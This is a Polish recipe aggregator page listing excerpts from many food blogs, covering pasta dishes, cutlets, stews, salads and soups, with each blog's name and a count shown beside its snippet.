należy wyciągnąć i pokroić.  II Danie 16:00 Zupa klopsowa jest bardzo syta, dlatego na drugie danie zrobiłyśmy lekkie naleśniki nadziane serem. Ciasto zrobiłam na mleku owsianym, a sos to truskawki i jogurt naturalny. Podwieczorek 17:30 Budyń czekoladowy. Najlepszy - domowy. Przepis znajdziesz tutaj>>> Kolacja 19:00 Nie zdążyłam zrobić zdjęcia całego dania. Lilcia zaczęła już

lady-och-mistrzyni.blogspot.com
Greckie spaghetti z cukinią, szparagami i marchewką 205

Spaghetti zawsze z sosami się kojarzą, ale co niektórzy o lekkiej wersji marzą, dlatego z warzywami polecam przygotować i smakiem się rozkoszować.  Marchew, cukinia i szparagi cieniutko w paseczki pokrojone, na patelni lekko podsmażone, z makaronem wymieszane i do całości listki bazylii dodane.  Doprawione greckimi przyprawami i można „zajadać” się spaghetti z warzywami.  Składniki: 2 porcje makaronu

Moniki Smakołyki
Idealne bułki do hot-dogów 225

bułek i nie będzie odpadał po upieczeniu, Pieczemy w 200 stopniach przez 10-12 minut. Do środka wkładamy ulubione warzywa, parówkę i polewamy wszystko ketchupem, musztardą lub innym ulubionym sosem. Tu wszystko zależy od Waszych preferencji i pomysłowości.   Życzę smacznego! :) Przepis pochodzi ze Słodkiej Strony

Czerwona Porzeczka
Casarecce z cukinią, szpinakiem i serem pleśniowym 204

Lazur” 50g orzechów włoskich sól, pieprz do smaku Sposób przygotowania: Makaron gotujemy al dente w osolonej wodzie z dodatkiem 1 łyżki oliwy z oliwek.  W tym czasie przygotowujemy sos: Czosnek przepuszczamy przez praskę i podsmażamy na pozostałej oliwie. Do lekko przyrumienionego dodajemy cukinię pokrojoną w cienkie pół talarki, oraz drobno potargane liście szpinaku. Doprawiamy solą i pieprzem. Gdy warzywa

Kuchnia w czekoladzie
Kotlety z kaszy gryczanej i koziego sera 159

prawdę bardzo dobrze. Kotlety z kaszy są z reguły dość suche, nie są tak soczyste jak kotlety mielone i z doświadczenia mogę powiedzieć, że najlepiej podawać je z sosem, wtedy smakują wręcz wybornie Składniki na kotlety: szklanka suchej kaszy gryczanej 150g sera koziego 1 jajko 4 łyżki bułki tartej 3 ząbki czosnku garść świeżej natki pietruszki, lub innej zieleniny sól

NiePieprz.pl
Nóżki kurczaka w musztardzie i boczku 255

plastrem boczku, spinamy wykałaczką. Układamy w naczyniu żaroodpornym, polewamy winem, na wierzchu kładziemy drugą gałązkę rozmarynu i wkładamy do piekarnika. Pieczemy 60 minut, od czasu do czasu polewając powstającym sosem. Podajemy z ziemniakami/ryżem i/lub ulubioną surówką, posypane szczypiorkiem. Smacznego

My Culinary Art
Cukinia w puchatym cieście z prażoną cebulką 170

wszyscy uwielbiamy jej smak. (Ufff, bo nie z wszystkimi rzeczami tak jest.) Tak przygotowana jest niezwykle pyszną i sytą przekąską, która idealnie znika bez dodatków, a czasami z ulubionym sosem. Sposób na ciasto jest często przeze mnie praktykowany i właśnie przeważnie tak przyrządzam różne warzywa, czy kiełbaski (jeśli mają być smażone w cieście). Wystarczy pozmieniać przyprawy i mamy pyszne dodatki

Di gotuje
Spaghetti po włosku z zielonym młodym groszkiem ;-) 191

minut. Dodaj wino i cydr. Całość niech się gotuje, tak aby alkohol odparował a groszek się ugotował do miękkości. Poznasz po tym, że zacznie się marszczyć jego skórka. Doprowadź sos do całkowitej redukcji (jeśli nie jesteś na diecie możesz dodać też 1 łyżeczkę śmietany). Całość dopraw solą i różowym pieprzem, dodaj ugotowany makaron i wyłóż gorące danie na talerze. Życzę

SMYKWKUCHNI
Kotleciki na słodko - z bananem i marchewką 171

ciasta, formujemy kotleciki (powinny się lekko kleić do rąk) i obtaczam je w bułce tartej. Smażymy na rozgrzanym oleju z obu stron na złoty kolor. Można do nich przygotować sos, np. marchewkowy

Kolorowy Przepisownik
Sałatka z kuskusem, bobem i tuńczykiem 204

również znakomicie zastąpi obiad. Ps. głosy w akcji Gotowanie za głosowanie możecie oddawać tutaj. Składniki na 2 porcje: 200g bobu 100g kuskusu 1 pomidor ½ czerwonej cebuli ½ puszki tuńczyka w sosie własnym ½ papryki (u mnie biała) 2 łyżki oliwy z oliwek lub oleju rzepakowego Sól Pieprz Przygotowanie: Kuskus przygotuj wg instrukcji na opakowaniu.  Bób ugotuj w osolonej wodzie do miękkości

Fabryka pomysłów
duszone z cebulą piersi kurczaka... 1027

strony, dodać pokrojone cebule i podsmażać z 3 minuty na średnim ogniu dodać przyprawę w płynie, wlać wodę i pod przykryciem dusić do miękkości piersi, z wywaru zrobi się sos - można podać z ziemniakami, ryżem lub z czym się lubi...........SMACZNEGO

W Mojej Kuchni Lubię
Makaron z truskawkami - bezglutenowy, dietetyczny :) 227

jogurtu naturalnego  2 łyżki ksylitolu/erytrolu/miodu Przygotowanie: Makaron ugotuj al dente wg instrukcji podanej na opakowaniu.  Twaróg zmiksuj z truskawkami i wybranym słodzidłem.  Ugotowany makaron polej przygotowanym sosem truskawkowym.  Możesz dodać na wierch kostki twarogu i całe truskawki

Zdrowie na języku :P
Żeberka na słodko kwaśno z winem i jarzębiną 166

posiekany czosnek i jarzębinę, podlewamy winem i wodą . Dusimy ok godzinę, od czasu do czasu uzupełniamy płyny. Śmietanę mieszamy z mąką i odrobiną wody, mięso wyjmujemy i szybko zagęszczamy sos. Podajemy z młodymi ziemniaczkami i fasolką. Do obiadu podajemy lampkę wina Monte Santi , które uzupełni smak naszego pysznego obiadu. Monte Santi bawi subtelną nutą smaku Wino Monte Santi to eleganckie

Gotowanie jest łatwe
ZUPA KURKOWA Z ZIEMNIAKAMI 228

drobnym makaronem. Do tego kremowa śmietanka, kilka łyżek świeżo siekanego koperku i natki pietruszki oraz suszony majeranek, i talerz parującego szczęścia gotowy :D P.s. W przepisie na obłędny sos kurkowy znajdziecie fajny sposób na oczyszczanie kurek. Polecam Wam również znakomite kluski leniwe z kukami :) SKŁADNIKI NA ZUPĘ: 1.5 l bulionu warzywnego (składniki poniżej) lub bulionu drobiowego 2 łyżki masła

Słodko-Słony Świat Ilony
Kuchnia Raw Food – Tanya Maher 122

mamy zacząć. Wstęp i objaśnienia czyta się bardzo dobrze, a zaraz po nim przechodzimy do receptur. Przepisy są podzielone na kilka rozdziałów: Napoje Śniadania Zupy i sałatki Dania główne Sosy i […] Artykuł Kuchnia Raw Food – Tanya Maher pochodzi z serwisu Mienta blog

Mienta blog
Gulasz wieprzowy z groszkiem 173

Miękkie soczyste mięso w wyrazistym sosie z dodatkiem słodkawego zielonego groszku to pyszna propozycja na wiosenny obiad. W towarzystwie kluseczek będzie naprawdę pyszny. Składniki: 1kg łopatki wieprzowej 2 cebule 2 ząbki czosnku olej 2 płaskie łyżki mąki 500ml bulionu szklanka zielonego groszku sól, czarny pieprz, słodka papryka, zioła prowansalskie, majeranek, cynamon Sposób przygotowania: W rondlu podgrzewamy odrobinę oleju. Cebule siekamy

Pyry na Gaz
Wegańskie kotlety z cukinii 466

miękkie.  Kotlety z cukinii Składniki (na 8 średnich kotletów): 600 g cukinii (2 średnie cukinie) 5 łyżek bułki tartej* + bułka do obtoczenia 3 łyżki mąki 1 łyżka sosu sojowego 1 łyżeczka czosnku 1 łyżeczka soku z cytryny 1/2 łyżeczki cukru 1/2 łyżeczki proszku do pieczenia sól, pieprz Przygotowanie: Zetrzyj cukinie na małych okach tarki, posól i odstaw

wegujemy
Kapusta pieczona – na dodatek 484

półkę piekarnika. Pieczemy kapustę 35-40 minut – powinna się widocznie lekko zezłocić na krawędziach i być miękka na wbitym widelcu. Tak naszykowaną kapustę można zjeść nawet samą, z jogurtowym sosem. Ale świetnie pasuje podana do pieczonej lub smażonej wieprzowiny – my zjedliśmy ją z grillowaną szynką. SKŁADNIKI 1 mała młoda kapusta, o dosyć zwartych liściach 3-4 ząbki czosnku (naprawdę

Karo in the Kitchen
Cukinia w puchatym cieście z prażoną cebulką 5508

wszyscy uwielbiamy jej smak. (Ufff, bo nie z wszystkimi rzeczami tak jest.) Tak przygotowana jest niezwykle pyszną i sytą przekąską, która idealnie znika bez dodatków, a czasami z ulubionym sosem. Sposób na ciasto jest często przeze mnie praktykowany i właśnie przeważnie tak przyrządzam różne warzywa, czy kiełbaski (jeśli mają być smażone w cieście). Wystarczy pozmieniać przyprawy i mamy pyszne dodatki

Di gotuje
Makaron z bobem, suszonymi pomidorami i mascarpone 222

patelnię. Po chwili dodajemy opakowanie mascarpone. Czekamy, aż ser się rozpuści. Dorzucamy ugotowany i obrany bób. Mieszamy przez minutę, aż składniki się połączą. Makaron wykładamy na talerz, polewamy sosem i podajemy. Smacznego

Kolizje Smaków
Wegetariańskie kotlety z kalafiora 249

wędzonej nadał mu kapitalnego smaku, który delikatnie przypomina 'coś' mięsnego! Lekko pikantny, chrupiący z zewnątrz, mięsisty w środku i...  ... z askakująco pyszny! Dziś zaserwowałam go na obiad (z sosem jogurtowym i kolorową surówką), a jutro wyląduje w bułce na kolację- jako wypasiony wege burger :) 8 sztuk (o średnicy bułki): * kalafior- 1 mała główka * jajko- 1 szt. * cebula- 1 mała

Kraina Miodem Płynąca
Mini naleśniki czekoladowe z twarogiem 248

olecam Wam przepis na mini naleśniki czekoladowe z twarogiem i sosem waniliowo-truskawkowym pychota! Jest to fajna propozycja na obiad dla naszych pociech. Są i dealne na deser - mega czekoladowe, pyszne! Czytaj więcej

Ana Mari's world
Mini naleśniki czekoladowe z twarogiem 248

olecam Wam przepis na mini naleśniki czekoladowe z twarogiem i sosem waniliowo-truskawkowym pychota! Jest to fajna propozycja na obiad dla naszych pociech. Są i dealne na deser - mega czekoladowe, pyszne! Czytaj więcej

Ana Mari's world
Placuszki z Cukinii 835

make. Mieszamy całość do uzyskania niezbyt gęstej konsystencji. 3. Rozgrzewamy patelnie z niedużą ilością oleju i smażymy placuszki na rumiana z oby dwóch stron. Podajemy ze śmietaną/jogurtem lub sosem np. tzatziki

Gotowanie...to proste !
Kurczak Saltimbocca 222

ogniu, aż zredukuje się o połowę, następnie wlewamy bulion  i gotujemy jeszcze 3 minuty. Dodajemy pokrojone na pół pomidorki koktajlowe i kiedy zmiękną dodajemy 2 łyżki masła. Do sosu wkładamy filety kurczaka i chwilę podgrzewamy. Puree z batatów i ziemniaków: 1/2 kg bataów 1/2 kg ziemniaków 2 łyżki masła 1 łyżeczka musztardy 1/2 łyżeczki curry mleko  woda

Smakowity Blog Kulinarny
Duszony schab w sosie ze świeżych ogórków z koperkiem 308

Duszony schab jest miękki, bardzo smaczny i niezwykle aromatyczny. Rewelacyjnego smaku nadaje mu sos zrobiony ze świeżych, gruntowych ogórków, w którym nie może zabraknąć koperku. Bardzo dobrze smakuje z młodymi ziemniakami. Pyszne, polecam! ok 5 plastrów schabu 2 cebule 2 ząbki czosnku 4 szklanki bulionu drobiowego 500 g ogórków gruntowych sól pieprz czarny mielony 1 łyżka mąki pszennej 1/4 szklanki

https:KKuchniaMniam
Skrzydełka w marynacie pomarańczowej. 193

Jeśli lubicie ostrzejsze dania możecie dodać trochę ostrej papryki lub chilli. Dla mnie w tej wersji są idealne, polecam ;) Składniki na skrzydełka w marynacie pomarańczowej: 20 skrzydełek 125 ml sosu sojowego 100 ml soku pomarańczowego 1 łyżka miodu 1/4 łyżeczki mielonego imbiru 2 zgniecione ząbki czosnku      Skrzydełka myjemy, wycieramy i odcinamy najcieńszą część (lotki). W misce mieszamy

Rozpustne gotowanie
Pasta kanapkowa z bobu 172

zachęcam Was do przygotowania prostej pasty kanapkowej :). Pasta kanapkowa z bobu Składniki: 1 szkl. ugotowanego i obranego bobu* 1/4 szkl. mleka sojowego 1 łyżeczka soku z cytryny 1 łyżeczka sosu sojowego 1 łyżeczka czosnku 1/2 łyżeczki cukru + 1 łyżka do ugotowania 1 kg bobu sól, pieprz + sól do gotowania bobu woda do gotowania bobu *Polecam ugotować 1 kg bobu, odłożyć

wegujemy
Sałatka na bazie kaszy jęczmiennej z tuńczykiem, kukurydzą, papryką i pomidorkami paprykowymi. 250

kukurydzą, papryką i pomidorkami paprykowymi. Do tego odrobina zieleni i… jest pysznie. Polecam Wam tą sałatkę! Składniki: 1 woreczek kaszy jęczmiennej perłowej (100 g) 1 puszka tuńczyka w sosie własnym (185 g) 1/2 czerwonej papryki 8 pomidorków paprykowych – miks czerwonych i żółtych 1/2 puszki kukurydzy złocistej Bonduelle 1 łyżka posiekanego koperku + do ozdoby 1/2 łyżki posiekanej zielonej pietruszki

Słodkie okruszki
Schabowy po bawarsku, marynowany w musztardzie 242

drugi dzień rozgrzej piekarnik do 220 i zapiekaj w naczyniu z pokrywą około godziny,można dłużej. Przygotuj sałatkę. Dosmacz solą, koperkiem. Krój schab na plastry, podawaj z sosem własnym i sałatką. Kefir? Maślanka? Wszystko jedno, ważne , aby było dużo koperku! Obiad gotowy! Schab w ten sposób przyrządzony jest soczysty, łamie się i nie jest gumą. Super do bułki

Z Kuchni Do Kuchni
Schab sztygarski z kiełbasą w środku 175

mięs, wlać 1 szklankę wywaru, założyć klamerkę i piec w temperaturze 180 stopni przez 90 minut. Po upieczeniu wyjąć i pokroić na kawałki o grubości 2 cm. Do powstałego sosu z pieczenia dodać przysmażoną cebulę, koncentrat pomidorowy, zagotować. Podprawić niewielką ilością zawiesiny z mąki i wody. Na koniec dodać zmiażdżony czosnek i jeszcze przez chwilę podgotować. Przyprawić solą do smaku

Tradycyjna Kuchnia
Tortellini z sosem pomidorowym i kurczakiem 286

średnie cebule 4 ząbki czosnku 4 łyżki oliwy z oliwek gałązka świeżego oregano pieprz, sól suszona papryczka chili; Marynata ziołowa: 2 cebule dymki łyżka … Czytaj dalej Tortellini z sosem pomidorowym i kurczakiem

czarrna od kuchni
Recenzja książki "Dania i potrawy z grilla Siostry Marii" 204

której możemy napisać do kogo należy dana książka. Jest to bardzo fajnym ułatwieniem, gdy chcemy komuś sprezentować książkę. Znajdziemy w niej 128 przepisów podzielonych na poszczególne kategorie: Masła, sosy, marynaty Wieprzowina Wołowina i cielęcina Drób Ryby i owoce morza Warzywa Grzanki i kanapki Dania z kociołka Każdy przepis zawiera listę składników, są to produkty łatwo dostępne, co jest ogromną zaletą

Z miłości do słodkości
Makaron z musem malinowym (letni obiad) 208

łyżeczki soku z limonki łyżeczka cukru Przygotowanie: Makaron gotujemy w lekko osolonej wodzie. Odcedzamy. Maliny myjemy, osuszamy i razem z jogurtem i sokiem z limonki miksujemy. Dosładzamy do smaku. Sos łączymy z makaronem i posypujemy całymi owocami. Smacznego

ChilliJemy
Szybkie gotowanie - jak odżywiać się zdrowo przy notorycznym braku czasu? 220

zwrócą się szybko. Szybkie gotowanie W szybkowarze można przygotować zarówno pojedyncze składniki, takie jak ziemniaki lub mięso oraz całe dania, jak np. paellę. Nadaje się do warzyw, kasz, robienia sosów i zup. Jak widać, jest bardzo przydatne -  o wiele lepiej poświęcić 20 minut na przyszykowanie posiłku, niż 2 godziny gotując w tradycyjnym garnku. Szybkowar pozwala też na podgrzewanie gotowego

Kuchcik gotuje
SZYBKI I ZDROWY OBIAD - KURCZAK + BROKUŁ 214

opakowaniu al dente, brokuł na parze około 10 min lub wedle uznania. W międzyczasie wrzucamy mięsko na patelnie, podsmażamy na złoty kolor i gotowe! Jeśli ktoś bez sosu się nie obejdzie to proponuję przygotować czosnkowy z jogurtu greckiego :) SMACZNEGO! Wartość energetyczna*: 330 kcal 30 g białka 7 g tłuszczów 40 g węglowodanów ogółem

Vroblewska-fitlife
PROSTE PLACUSZKI Z CUKINI 179

wyjść bardzo gęste, jeśli jest na tyle suche, że nie da się rozprowadzić mąki - dodaj odrobinę mleka. Ciasto nakładaj łyżką na lekko natłuszczoną patelnię. SMACZNEGO! Polecam zrobić do placuszków sos jogurtowo-czosnkowy :) Wartość energetyczna *: 175  kcal 8,2 g białka 3 g tłuszczów 35 g węglowodanów ogółem 6,2 g błonnika ŻELAZO

Vroblewska-fitlife
5 powodów, dla których kocham to miasto! 183

pachnące bekonem i jajkami. Trafiliśmy na bistro, gdzie śniadanie było wykwintne. Milk Bar&Bistro – ta popularna restauracja skusiła Nas amerykańskimi naleśnikami z bekonem, jajkami po benedyktyńsku z sosem holenderskim, oraz pieczonymi ziemniaki, z których oskubał mnie mój luby. Co prawda, nie jest to duże miejsce. Nawet sąsiadując z nieznajomymi ramię w ramię (jak przyjaciółeczki na lunchu) delektowałam się

Pink Envelope
Kaczka z pomidorami 155

Dodać pomidory pokrojone na części (szóstki, ósemki), wlać wino, 100 ml wody. Dodać sól i pieprz, dusić do miękkości. Wyjąć uduszoną kaczkę, podzielić na porcje i trzymać w cieple. Sos przecedzić, przetrzeć przez sito. Podawać z ryżem lub makaronem. Ja podałam z makaronem

królestwo garów
Nóżki kurczaka z chrupiącą skórką 302

kurczaka (ząbek czosnku wyrzucamy), doprawiamy solą i pieprzem. Wkładamy do piekarnika i pieczemy 50-60 minut, aż skórka ładnie się zarumieni, co 20 minut polewając go bardzo dokładnie powstałym sosem. Wyciągamy i podajemy z frytkami/ziemniakami i ulubioną surówką. Smacznego! :) *aby skórka była bardziej chrupiąca, do marynaty można dodać 2 łyżeczki miodu

My Culinary Art
Sałatka ryżowa Roberta 246

Groszek i kukurydze odsączyć   na sicie i wsypać do miski z ryżem i ananasem. Łodyżkę selera pokroić na plasterki. Z oliwy, soku z cytryny, soli i pieprzu przygotować sos i delikatnie go wymieszać z sałatką. Posypać płatkami migdałowymi

Camilla w kuchni
Makaron z bobem, szynką, jarmużem i fetą 148

Kochani! Dzisiaj mam dla Was przepis na przepyszny makaron z dodatkiem bobu, szynki, jarmużu i fety z sosem na bazie posiekanej cebulki, czosnku, ricotty i prosecco. Składników jest sporo, natomiast smaki wynagradza cały trud włożony w przygotowanie. Polecam Wam ten przepis na taki smaczny makaron! Składniki (na 2 porcje): 100 gram makaronu (użyłam bezglutenowego) 1/2 cebuli 1 ząbek czosnku

Mango Papaja
Placuszki rabarbarowo-truskawkowe. 181

Smażymy na rozgrzanym oleju na złoty kolor. Gotowe placuszki odsączamy na ręczniku papierowym, a następnie oprószamy cukrem pudrem. Gotowe!      Ja placuszki podałam z naturalnym twarożkiem i sosem z truskawek gotowanych (z kompotu)- truskawki zmiksowałam, dodałam cukier do smaku i przesmażyłam do uzyskania odpowiedniej konsystencji. Świetne połączenie, polecam

Rozpustne gotowanie
Sałatka z Kaszą Orkiszową 240

kwasku cytrynowego (można dodać sok z świeżo wyciśniętej cytryny lub ocet jabłkowy).            Próbuję jeśli smak jest ok, polewam sosem Moją sałatkę.  Zostawiam na 15 min, aby wszystkie smaki mogły się połączyć. SMACZNEGO

Zdrowo i kolorowo
Młoda kapusta duszona w sosie pomidorowym 260

gotowe danie obiadowe, obieram kilka ziemniaków i zdrowy sycący posiłek mam w 25 min. Natomiast taka kapusta może być też dodatkiem do tradycyjnych polskich obiadów Młoda kapusta duszona w sosie pomidorowym   Drukuj Czas przygotowania 15 min Czas gotowania 25 min Czas całkowity 40 min   Ilość porcji: 2-4 Składniki 1 cebula 2 łyżki oleju 1 łyżeczka papryki słodkiej

Apetyt na Zielone
Kurczak duszony w pomidorach 173

zeszklić cebulę, dodać przeciśnięte przez praskę ząbki czosnku, a następnie pomidory i kurczaka. Dusić pod przykryciem, na małym ogniu, aż mięso będzie miękkie, a z pomidorów utworzy się sos (ok. 30 minut, po tym czasie zdjąć pokrywkę i gotować jeszcze chwilę by nadmiar płynu odparował). W międzyczasie doprawić ziołami i octem balsamicznym, który podkreśli smak potrawy. Podawać z ryżem, kaszą

Dobra karma
Zupa krem z cukinii 232

doskonale smakuje też bez żadnych dodatków. Składniki (4 miseczki): 1 średnia cukinia 2 cebule 1 pietruszka 2 ząbki czosnku papryczka chilli żółta lub zielona masło świeże listki bazylii sól, sos sojowy, świeżo zmielony pieprz Warzywa umyć, obra ć (oprócz cukinii), pokroić w kostkę, podsmażyć na niewielkiej ilości masła wraz z czosnkiem i drobno posiekaną papryczką chilli. Następnie wlać do garnka

Dobra karma
Szakszuka - jajka w pomidorach 221

cebulę, dorzucić pokrojoną w kostkę paprykę, czosnek i drobno posiekaną papryczkę chili. Wszystko podsmażyć. Sparzone i obrane ze skórki pomidory pokroić w kostkę i wrzucić na patelnię. Gotować, aż sos się zredukuje. Doprawić pieprzem, solą i papryką. Następnie wbić jajka i gotować do czasu, aż białko się zetnie. Smacznego

Dobra karma
Sałatka z miętowym sosem 211

Mięta jest na lato, upały idealna. Orzeźwia, chłodzi i smakuje. Dodajemy ją do deserów, sałatek czy chłodzących napoi. Ja postanowiłam przygotować sos do sałatki na bazie mięty, pietruszki z odrobiną czosnku. I nie smakuje on... Source

Szybko Tanio Smacznie
Pasztet z cukinii 222

pieczemy przez 60-70 minut. Gotowy pasztet studzimy, po czym wstawiamy do lodówki na 12 godzin. Pasztet podajemy z pieczywem. Świetnie pasuje do niego ketchup, sos jogurtowy bądź czosnkowy. Notatki * można pominąć ** można zastąpić oliwą by Małgorzata Hert Wędrówki po kuchni http://www.wedrowkipokuchni.com.pl

Wędrówki po kuchni
Aromatyczne kotlety mielone 298

mnie. :) Kotlety mielone to moim zdaniem jedno z najbardziej wszechstronnych polskich dań. Można podać je z ziemniakami i mizerią, pysznymi buraczkami, a następnego dnia zrobić do nich sos pieczarkowy, koperkowy lub pomidorowy i cieszyć się pysznym daniem, które nie będzie "odgrzewanym kotletem". Robi się je naprawdę szybko i równie szybko znikają z talerza - są mięciutkie, soczyste i bardzo aromatyczne

Cooking Monster
Krążki z kabaczka w cieście paprykowo-serowym (bez glutenu) 221

autorski (mój). Krążki s ą przepyszne i idealnie nadają się na szybką przekąskę. U mnie w domu znikają bez żadnych dodatków, ale przyznam, że świetnie komponują się z lekkim sosem lub posypane żółtym serem. Doskonale smakują bezpośrednio po przyrządzeniu - jednak na zimno również są smaczne! Ciasto zrobiłam na bazie mąki ryżowej, którą bardzo lubię, więc śmiało mogą je spożywać osoby

Di gotuje
Euro 2016: Zapiekane pory z młodymi ziemniakami i kurczakiem 219

Kroimy na kawałki ok. 1,5 cm grubości. Szczypiorek siekamy. Mleko mieszamy z jogurtem, solą, pieprzem i gałką muszkatołową. W naczyniu żaroodpornym lub formie do zapiekanek układamy ziemniaki. Polewamy sosem jogurtowym. Na bokach układamy kawałki porów, które polewamy łyżką oliwy z oliwek. Na środku układamy pierś z kurczaka. Całość posypujemy szczypiorkiem i układamy gałązki świeżego tymianku. Wstawiamy do piekarnika nagrzanego

My Chcemy Jeść
Zielone tagliatelle z łososiem 203

Szpinakowy makaron tak mi posmakował że zrobiłam jego kolejną wersję, tym razem z duszonym łososiem w sosie śmietanowym. Idealnie miękki i delikatnie przyprawiony skradł moje serce w tym daniu. Składniki: 1,5 szklanki mąki 1 duża garść szpinaku 1 jajko 1/3 łyżeczki soli + odrobina do posolenia rybki 300g fileta z łososia 2 łyżki oliwy z oliwek 100ml śmietanki

Kuchnia w czekoladzie
SAŁATKA Z POMIDORAMI 220

koło talerza przygotowałam taką sałatkę. Mozzarella, feta, pomidor...wszystko pasuje doskonale Składniki: 1 duży pomidor malinowy 30 dag pomidorków śliwkowych czerwonych i pomarańczowych 1 kulka mozzarelli kilka kostek fety sos: 1/3 szkl oliwy z oliwek ocet winny JAMAR  ok łyżki- dwóch odrobina suszonej bazylii, oregano, słodkiej papryki Wykonanie: Pomidory malinowe kroimy  w plastry, śliwkowe na połówki. Mozzarellę kroimy

Z Majeczką w kuchni
CZERWIEC NA BLOGU 226

/2016/06/nieborow-i-arkadia.html 6. PYSZNIE I ZDROWO Piekłam, gotowałam i jadłam z radością:) Hity czerwca to : ciasto czekoladowe bezglutenowe, sałatka z młodymi ziemniaczkami i tuńczykiem oraz makaron z aromatycznym bazyliowo serowym sosem. Mniam .Wpadnijcie po przepisy. http://wyspaszczesliwa.blogspot.com/2016/06/makaron-z-sosem-orzechowo-serowym.html   http://wyspaszczesliwa.blogspot.com/2016/06/saatka-ze-szparagami-i-tunczykiem.html   http://wyspaszczesliwa.blogspot.com/2016/05/ciasto-czekoladowe-z-truskawkami.html   BĄDŹCIE Z WYSPĄ SZCZĘŚLIWĄ RÓWNIEŻ W LIPCU

WYSPA SZCZĘSLIWA
Gulasz wieprzowy z białym winem i czerwowną fasolką (z szynki) 187

prosta propozycja na smaczny obiad. Mięso jest miękkie, delikatne i niezwykle aromatyczne. Doprawiłam je sporą ilością czosnku, bazylii i majeranku. Czerwona fasolka idealnie komponuje się z lekko pomidorowym sosem... Gulasz podałam z makaronem orkiszowym, ale w zasadzie pasuje on do wszystkiego i jest pyszny nawet ze świeżym pieczywem.   (3-4 porcje) 500-600g szynki wieprzowej (może być dowolne

Di gotuje
Co Lila jadła w środę? 11 191

tego nie zna? - delikatne kluski gotowane na parze. Raz do roku w sezonie truskawkowym skuszę się na taki obiad. Oczywiście eksperymentowałam i zrobiłam je na mleku owsianym. Sos? truskawki z jogurtem naturalnym. Podwieczorek 17:30 W tym roku posadziliśmy jarmuż i cieszę się, że nie muszę kupować całej paczki. Zrywam sobie listek i wrzucam do wyciskarki. Lila piła sok wyciśnięty

lady-och-mistrzyni.blogspot.com
Gołąbki bez zawijania w kapuścianym sosie 490

Błyskawiczne gołąbki bez zawijania w kapuścianym pomidorowym sosie. Młode warzywa sprawiają że danie jest niezwykle apetyczne i szybkie w przygotowaniu. 250 g mięsa mielonego indyczego 1/4 główki młodej kapusty 1 marchew 1 pietruszka (korzeń) 1 cebula 1 jajko 3 łyżki bułki tartej Sól Pieprz Chilii pieprz cayenne 300 ml wody 1,5 łyżki koncentratu pomidorowego Mąka pszenna do obtoczenia Młodą

VioletoweKucharzenie
Domowe kostki ziołowe – świeże zioła przez cały rok 254

jedzeniu. Wybrane zioła po osuszeniu bardzo drobno siekamy w blenderze. Ja swoje ziołowe kostki szykuję z dodatkiem oliwy z oliwek z pierwszego tłoczenia – używam ich głównie do dosmaczania zup, sosów czy do smażenia.   Jeśli macie ochotę zrobić ziołowe kostki np. mięty i szałwii z przeznaczeniem do herbaty – zróbcie je z dodatkiem wody zamiast oliwy. Do dużej ilości zblendowanych ziół

Karo in the Kitchen
Kuskus z kurczakiem i fasolką szparagową 290

cebulę kroimy w kostkę, posypujemy przyprawami, podsmażamy na rozgrzanym oleju. Dodajemy pokrojone w kostkę pomidory, ugotowaną fasolkę, dusimy około 10 minut. Na koniec wlewamy śmietankę, podgrzewamy aż wytworzony sos zgęstnieje. 3. Kaszę kuskus przygotowujemy zgodnie z przepisem na opakowaniu. Mieszamy z przygotowanym daniem

Szefowa kuchni
Placki ziemniaczane z gulaszem 679

kroimy w niedużą kostkę, doprawiamy papryką i obsmażamy na odrobinie oleju. Następnie zalewamy bulionem, wrzucamy ziele angielskie i liście laurowe i dusimy do miękkości. Kiedy mięso będzie miękkie, zatrzepujemy sos mąką i doprawiamy do smaku. Na gorący placek ziemniaczany nakładamy porcje gulaszu i składamy na pół. Smacznego

Na Ciasteczkowych Papierach
Cukinia faszerowana komosą ryżową , pieczarkami i żółtym serem. 150

pieczemy około 45 min. Kilka minut przed końcem pieczenia na wierzchu układamy paski sera żółtego. Przed podaniem posypujemy posiekanym koperkiem. Możemy  też polać ketchupem lub innym sosem. Smacznego

Radość kipiąca uśmiechem.
Czy lody odchudzają? 336

znacznie różnią się od siebie kalorycznością. Najmniej kaloryczne są lody wodne i sorbety, zaś najbardziej lody mleczne i śmietankowe, z dodatkami takimi jak bita śmietana, wafelek, posypka, alkohol, sos czy ciasteczka, które znacząco zwiększają wartość energetyczną. Kaloryczność może także zwiększyć niepozorna polewa - różnica między zwykłym Big Milkiem a tym w polewie wynosi aż 87 kcal. To tak, jakbyśmy zjedli drugiego

Powiedz dietom nie
AKSAMITNE RISOTTO Z KURCZAKIEM I WARZYWAMI 378

wszelakie risotta w szczególności :) Składniki: 300g fileta z piersi kurczaka 200g ryżu arborio 1 por 2 ząbki czosnku 1/2 czerwonej papryki mała puszka kukurydzy (200g) puszka pomidorów w sosie własnym bulion słodka papryka sól pieprz Wykonanie:  Filet kroimy w podłużne paseczki. Posypujemy solą, pieprzem, słodką papryką. Podsmażamy na rozgrzanym oleju do zrumienienia. Łyżką cedzakową wyjmujemy. Na tym samym oleju

Walijskie Pichcenie
Leczo - dietetyczne, smaczne, proste :) 321

więc czym prędzej zabrałam się do pracy :)  Pokroiłam popularne obecnie warzywa, dodałam przyprawy, koncentrat pomidorowy i w efekcie końcowym wyszło coś pysznego! Mięciutkie warzywka w lekko gęstym, naturalnym sosie. Coś przepysznego. Robiłam takie już kilka razy i jeszcze mi się nie znudziło :) Składniki (ok. 3 porcje): 2 średnie cukinie 3 pomidory śliwkowe 1 czerwona papryka 1 cebula 2 ząbki

Zdrowie na języku :P
Recenzja #.22 - pasta słonecznikowa z bazylią Zwergenwiese 159

słonecznikowej z dodatkiem bazylii, którą mozecie kupić w sklepie internetowym alfa-koszyk.pl :) Co mówi producent :  Pasta słonecznikowa z bazylią to delikatna, kremowa pasta świetna baza do dipów lub sosów. Skład : nasiona słonecznika 43%, olej słonecznikowy, woda, sok z cytryny, bazylia  7%, cebula, sól morska Wartości odżywcze w 100g: WĘGLOWODANY - 3,3g TŁUSZCZ - 33,2g BIAŁKO

breakfast of dreams
Tajska zupa curry z warzywami 180

olej i obsmażyć pokrojoną w plasterki cebulkę. Jak będzie lekko złotawa dodać połamany na małe kawałki kalafior, brokuł, grzyby suszone i łodyżki szparag. Górę szparag odstawić na później. Dodać sos sojowy ciemny, pastę curry i smażyć mieszając co jakiś czas.Wlać wywar warzywny lub 1 litr wody plus 1 duża kostka rosołowa. Zagotować, zmniejszyć ogień i gotować około 5 minut

Kuchnia Pokoleń
Rolada pieczeniowa z wołowiny otulona boczkiem wędzonym 265

